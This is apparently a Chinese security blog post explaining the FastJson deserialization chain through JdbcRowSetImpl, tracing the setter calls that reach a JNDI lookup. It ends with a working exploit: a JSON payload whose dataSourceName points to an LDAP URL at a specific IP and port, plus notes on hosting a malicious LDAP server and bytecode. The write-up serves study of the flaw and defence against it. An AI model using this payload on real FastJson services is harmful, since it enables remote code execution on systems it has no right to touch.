目录
简要原理分析
exp
前文:【Web】速谈FastJson反序列化中TemplatesImpl的利用
简要原理分析
前文的TemplatesImpl链存在严重限制,即JSON.parseObject()需要开启Feature.SupportNonPublicField
fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,其原理就是setter的自动调用
先来看JdbcRowSetImpl的setDataSourceName方法
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
会进到super.setDataSourceName(),其实就是给dataSource赋值为我们传入的值,合情合理
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
再来看JdbcRowSetImpl的setAutoCommit方法,注意到当conn为null时(初始就是null),就会调用connect方法
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
继续看connect方法,显然conn为空且我们有DataSourceName属性,进到else if的分支,调用(new InitialContext()).lookup(),经典何须多言,只要dataSourceName设为恶意远程RMI服务或LDAP服务打JNDI即可
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
exp
package com.FJ;
import com.alibaba.fastjson.JSON;
public class FJ {
public static void main(String[] args) {
String s="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://124.222.136.33:1337/#suibian\", \"autoCommit\":true}";
Object object = JSON.parse(s);
}
}
开一个恶意LDAP服务器
找个端口放恶意字节码